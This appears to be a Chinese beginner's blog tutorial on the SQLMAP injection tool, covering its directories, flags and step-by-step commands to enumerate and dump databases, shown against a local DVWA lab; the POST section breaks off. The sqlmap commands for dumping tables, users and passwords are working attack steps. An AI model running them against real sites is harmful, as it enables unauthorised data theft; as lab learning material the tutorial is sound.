【渗透测试小白系列】之SQLMAP工具的使用

不问归期 提交于 2019-12-03 15:31:36

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

一、介绍

1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等

2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!!

3.支持的注入类型:bool、time、报错、union、堆查询、内联

4.功能:

  • 可以获取用户名、密码、权限、角色、数据库(表、字段、内容)
  • 可以爆破识别密文数据
  • getshell(反弹shell)
  • 命令执行
  • 脱库或删库

 

二、SQLMAP的目录介绍:

目录 介绍
doc 介绍文档
extra sqlmap额外的功能,运行cmd、执行命令
lib sqlmap 的核心功能代码
plugins 包含12种数据库的识别程序
data 存放一些攻击过程种使用的工具或者命令
/data/procs 包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序
/data/shell 远程命令、后门
/data/txt 表名、列名、UA字典
/data/udf 存放攻击载荷(payload)
/data/XML 存放检测脚本(payload)
tamper 包含各种绕过WAF的处理脚本
thirdparty 包含第三方插件,如颜色、优化等等
waf 识别WAF的脚本

 

三、SQLMAP的工作流程

1.初始化

1 salmap -v  查看版本
2 salmap --update  更新

2.开始检测

  • 检测之前是否注入过(会把当前检测URL 默认存放在用户家目录中.sqlmap下的output),使用--output-dir可指定存放的目录
  • 解析URL,判断URL是否可访问
  • 检测是否有WAF
sqlmap -u "目标url" --identify-waf
sqlmap -u "目标url" --check-waf
  • 执行用户输入的参数
 1 -u  指定URL
 2 -p  指定参数
 3 -v  指定显示级别
 4 --dbs  目标服务器中的数据库
 5 --current-db  当前数据库
 6 --tables  目标数据库有什么表
 7 --columns  目标表中有什么列
 8 --dump  获取数据
 9 --batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
10 --dbms  指定数据库类型
11 --current-user  查看当前用户
12 --users  查看所有用户
13 --passwords  数据库密码
14 --hostname  系统名称
15 --banner  数据库信息
16 --roles  数据库用户角色
17 等等

 

四、步骤详解

  • GET型注入的SQLMAP利用方法:

1.判断是否有注入点

sqlmap -u "目标url"
  • 当看到探测的结果中有没有环境参数(系统类型和数据库类型),则表明有注入

2.查看所有数据库

1 sqlmap -u "目标_url" --dbs --dbms mysql
2     --dbms=DBMS 指定目标数据库类型

3.获取当前数据库

sqlmap -u "目标_url" --current-db --dbms mysql

4.获取当前数据库下表

 1 sqlmap -u "目标_url" -D 库名 --dbms mysql --tables --batch -v
 2     -D DB 指定从某个数据库查询数据
 3     -v 显示信息的级别,一共有六级:
 4         0:只显示python 错误和一些严重信息
 5         1:显示基本信息(默认)
 6         2:显示debug信息
 7         3:显示注入过程的payload
 8         4:显示http请求包
 9         5:显示http响应头
10         6:显示http相应页面    

5.获取当前数据库中指定表下的字段

1 sqlmap -u "目标url" -D 库名 -T 表名 --columns
2     -T TBL 指定从某个表查询数据

6.获取指定字段对应的数据内容

1 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump
2     -C COL 指定从某个列查询数据
3     --dump 查询指定范围的全部数据
4         (对加密的密码进行彩虹表攻击)

 

五、SQLMAP工具测试

  • GET型 ,测试使用DVWA中的SQL Injection模块(Low级别)

1.检测是否有注入点

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

  • 翻译:

sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php'

sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php”

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible')

您尚未声明cookie,而服务器希望设置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible')

  • 由上图可知,结果是跳转到登录页面,是需要带cookie的,查到session为nh9elbltn3coe0kgvdnq1l6755在地址栏种输入javascript:alert(document.cookie)查询cookie)

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
  • POST型注入的SQLMAP利用方法:

1.拦截数据包保存txt文件post.txt

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!